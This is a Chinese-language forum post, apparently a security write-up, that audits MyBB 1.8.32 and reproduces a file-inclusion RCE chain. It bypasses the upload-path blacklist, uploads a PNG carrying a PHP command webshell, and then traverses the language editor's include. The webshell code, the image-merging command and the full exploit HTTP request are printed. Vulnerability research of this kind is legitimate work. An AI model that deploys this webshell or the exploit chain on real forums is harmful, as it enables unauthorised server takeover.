mybb 1.8.32 代碼審計+ LFI RCE 漏洞復現

twhackteam

Administrator
站方人員

MYBB論壇簡介及漏洞歷史​

MYBB論壇簡介​

  • mybb.png
MyBB,以前是MyBBoard,原本是MyBulletinBoard,是由MyBB group開發的免費和開源論壇軟體。用PHP編寫的,支援MySQL, PostgreSQL和SQLite資料庫系統,此外,還具有資料庫failover它支援多種語言,並在LGPL下獲得許可該軟體允許用戶透過MyBB促進社區的互動。

MYBB論壇漏洞歷史​

exploit-db上,最早出現的漏洞可追朔到2005年的一系列sql注入,由於其源碼已經在github上開源,從此之後各種類型漏洞頻發,還不包括沒有公開提交到exploit-db上的漏洞,直到2022,未來一定會爆出更多漏洞,手排狗頭。 。 。
  • mybb1.png
  • mybb2.png
最近2023年1月12日又爆出了mybb 管理員面板的文件包含RCE,這個RCE其實是對之前的管理員面板文件包含RCE記一次mybb代碼審計的文件上傳路徑黑名單的繞過。

php白盒原始碼審計​

首先從github下載mybb 1.8.32的源碼,IDE我用的是vscode編輯器

定位黑名單並找到繞過手段​

/Upload/admin/modules/config/settings.php 1172 ~ 1178 行
  • mybb10.png
首先,我們可以在Mybb中設定控制上傳目錄,但程式碼裡有一個緩解措施,以防止利用
如果查看程式碼,每個目錄都有一個黑名單目錄,因為如果可以上傳文件
在這個黑名單目錄下,配合之後分析的檔案包含漏洞很容易造成遠端程式碼執行

緩解措施分析​

/Upload/admin/modules/config/settings.php 1200 ~ 1206 行
  • mybb11.png
如果查看程式碼,比較先前建立的dynamic_include_directores_realpath的值
使用使用者輸入的數組變量,如果它們相同則取消設置
但是將這些設定更改為前面描述的4個黑名單目錄以外的路徑則可以實現檔案上傳

rebuild_settings()函數分析​

/Upload/inc/functions.php 6967 ~ 6991 行
  • mybb12.png
如果黑名單驗證緩解措施函數通過,則將設定保存在資料庫中,並呼叫rebuild_settings函數在資料庫中搜尋行,並寫入inc/settings.php。
也就是說我們在設定面板中設定上傳路徑為黑名單路徑以外的路徑,則可以設定成功,並並調用rebuild_settings函數在資料庫中搜尋行寫入inc/settings.php,上傳路徑可以修改成功,反之如果設定黑名單裡的路徑則會失敗。

頭像上傳​

/Upload/inc/functions_upload.php 232 ~ 250 行
  • mybb13.png
因為./inc不存在於settings.php的黑名單中,它可以繞過上傳路徑黑名單,查看程式碼中,它使用設定的上傳路徑來上傳。因此,我們可以在inc資料夾中寫入有限的文件
/Upload/inc/functions_upload.php 926 ~ 945 行
  • mybb14.png
上傳頭像時,使用upload_file()函數上傳,此時,我們先前設定的路徑$path變數就輸入進去了,成功上傳檔案到先前設定的路徑。

定位文件包含漏洞​

這次的文件包含漏洞也是本次漏洞鏈中最關鍵的一環,沒有它,就無法實現RCE。
首先全域搜尋inclued函數,在\mybb\admin\modules\config\languages.php頁面的444行發現include函數:@include $editfile;
  • mybb5.png
該函數包含editfile文件,進行查看該文件來源,可以看到430行該文件由folder資料夾和file文件拼接,其中420行看到file文件由post請求提交,接下來查看folder資料夾來源
  • mybb6.png
透過該文件184行看到foler資料夾為MYBB_ROOT.”inc/languages/“.$editlang.”/“,接下來查看editlang變量,透過189行看到判斷該檔案名稱後綴為php的檔案是否存在,然後查看該文件下轄的php文件只有english.php文件,猜測editlang為english,稍後驗證,該變數會透過post請求輸入
  • mybb7.png
現在檔案的目錄結構分析完畢,接下來查看該漏洞頁面的介面位置:由於該檔案目錄為\mybb\admin\modules\config\languages.php,因此,入口為config模板的language方法中,其中控制器為edit,從375行可以看到,同時420行看到post請求中輸入file檔案
  • mybb8.png
  • mybb9.png
因此我們查看該頁面url大概為以下樣子:
1/admin/index.php?module=config-languages&action=edit

現在進行分析,之前我們自己設定的目錄為./inc,因此我們需要向該資料夾下進行上傳一個圖片,因此我們需要將上傳檔案目錄修改為該資料夾,現在分析如何修改該資料夾:
透過對頭像上傳資料夾進行跟踪,發現在function_upload.php的241行,該資料夾由全域變數settings控制
  • mybb15.png
對該變數進行跟踪,$mybb->settings['avataruploadpath'],發現對$mybb->settings['uploadspath']變數的控制需要對檔案進行修改進行查詢,針對關鍵函數進行搜尋:$db- >update_query(“settings”發現在\mybb\admin\modules\config\settings.php檔案下1254行:
  • mybb16.png
透過value和name變數進行更新,其中value變數是從post請求中的upsetting陣列中進行取得其name變數的值:
我們追蹤avataruploadpath變量,進行搜索,有1166行定義數組,而avataruploadpath為數組中的參數,同時也有post請求的upsetting數組進行輸入:
  • mybb17.png
現在尋找資料傳入方式,發現action方法為change,請求方式為post:
  • mybb18.png
透過該頁面17行,發現頁面在index頁面下呼叫的模板為config下的setting模板:
  • mybb19.png
因此我們建立的頁面就可以為這樣,從該頁面進行傳入數據

本地環境搭建與黑盒子漏洞利用​

環境建構​

我是用的寶塔面板搭建的環境,寶塔面板安裝參考官方下載安裝使用寶塔產品
  • niginx 1.22.1 + php 7.4.33 + phpmyadmin 5.2 + mysql 5.7.43
  • mybb4.png
寶塔面板安裝好,並部署好環境之後,後米娜要做的就是修改本機電腦的hosts檔案使www.mybb1832.cn網域指向面板環境的IP位址即可,
正常訪問,且是mybb 1.8.32版本:
  • mybb20.png

修改上傳路徑配置並上傳頭像​

登錄後台後訪問,搜尋”Avatar Upload Path”,將其改為”./inc”後,點擊”save settings”:

  • mybb21.png
後面上傳的頭像文件,就可以上傳到/inc目錄下,來到頭像上傳處,選擇大小小於1kb的頭像,然後點擊”save user”,就可以將包含php木馬的圖片上傳到/inc目錄下:

  • mybb22.png
因為網站會進行壓縮,將php腳本破壞,現在製作php圖片木馬:
將包含以下木馬內容的php檔案和正常png圖片檔案合併
1
2
3
4
5
6
7
8
<?php
if (isset( $_REQUEST [ 'cmd' ])){ echo "getshell success!" ; $cmd = ( $_REQUEST [ 'cmd' ]); echo system( $cmd ); phpinfo(); } ? >







1copy close.png/b + shell.php/a shell.png

  • mybb23.png
製作成功,現在上傳該文件,並右鍵複製圖像鏈接,可以看到它在伺服器上的文件名為avatar_1.png

  • mybb24.png

路徑穿越檔案包含實作RCE​

現在來進行文件包含之前的圖片馬,來到:

不用修改任何內容直接點save language file然後抓包發送到repeater:
  • mybb25.png
在repeater中修改file參數值為avatar_1.png,editwith參數值為”..”,即可實現一層路徑穿越到/inc目錄檔案包含avatar_1.png中的php木馬,RCE成功
RCE請求包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /admin/index.php?module=config-languages&action=edit&cmd= id HTTP/1.1
Host: www.mybb1832.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Geck10o Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW ;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 518
Origin: null
Connection: close
Cookie: acploginattempts=0; adminsid=902f49bd1bc1979ae74; adminsid=902f49bd1bc1979ae74; mybb[lastvisit]=1673917082; mybb[lastactive]=1673917144; sid=3f11a37cfe7a2ad7d6b107c4e2d90168; loginattempts=1; mybbuser=1_9kiPJrzlrCosZesW7Zu3C5drhIa7mKVzJpq6vOAdULRPatNNdw
Upgrade-Insecure-Requests: 1

my_post_key=7f8f8bf788db537641f6607860aa462a&file=avatar_1.png&lang=english&editwith=..&inadmin=0&edit%5Bnav_announcements%5D=For um+Announcement&edit%5Bannouncements%5D=Announcement&edit%5Bforum_announcement%5D=Forum+Announcement%3A+%7B1%7D&edit%5Berror_inval idannouncement%5D=The+announcement+specified+is+invalid.&edit%5Bannouncement_edit%5D=Edit+this+announcement&edit%5Bannouncement_q delete%5D=Delete+this+announcement&edit%5Bannouncement_quickdelete_confirm%5D=Are+you+sure+you+want+to+delete+this+announcement%3F

  • mybb26.png
  • mybb27.png
  • mybb28.png

總結​

兩個點」..」的一層路徑穿越即可繞過上傳路徑黑名單,這就是程式碼審計的準確性與魅力所在。

參考資源​

MORE​

 
返回
上方